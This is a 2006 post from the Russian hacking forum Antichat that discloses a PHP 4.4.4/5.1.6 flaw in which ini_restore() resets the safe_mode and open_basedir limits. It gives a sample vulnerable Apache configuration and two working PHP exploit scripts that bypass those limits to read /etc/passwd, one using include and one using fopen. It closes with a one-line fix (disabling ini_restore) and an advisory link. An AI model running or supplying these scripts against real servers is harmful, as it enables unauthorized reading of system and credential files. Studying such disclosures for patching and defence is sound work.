ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимость php 5.1.6 и 4.4.4
  #1  
Старый 21.10.2006, 16:06
Аватар для corsp_puttrider
corsp_puttrider
Новичок
Регистрация: 16.10.2006
Сообщений: 18
Провел на форуме:
48695

Репутация: 17
По умолчанию Уязвимость php 5.1.6 и 4.4.4

надеюсь это уже все знают:

PHP 4.4.4 и более ранние версии
PHP 5.1.6 и более ранние версии

Уязвимость позволяет получить доступ к важным данным на системе. Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore(). Если эти ограничения установлены в настройках сервера, а в файле php.ini находятся значения по умолчанию, можно восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле сервера.

Пример уязвимой конфигурации:

<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>

Эксплоит

<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>


PS:
Вместо инклуд в эксплойте можно использовать fopen:
<?
echo("<pre>");
ini_restore("open_basedir");
$filename="/etc/passwd";
$h=fopen($filename, "r");
$contents=fread($h, filesize($filename));
echo($contents);
echo("OK");
?>
вот так

дырку можно закрыть так
disable_functions = symlink,ini_restore

Основная информация о дырке и эксплойте сдесь:
ht_tp://securityreason.com/achievement_securityalert/42

Последний раз редактировалось corsp_puttrider; 21.10.2006 в 16:12..
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ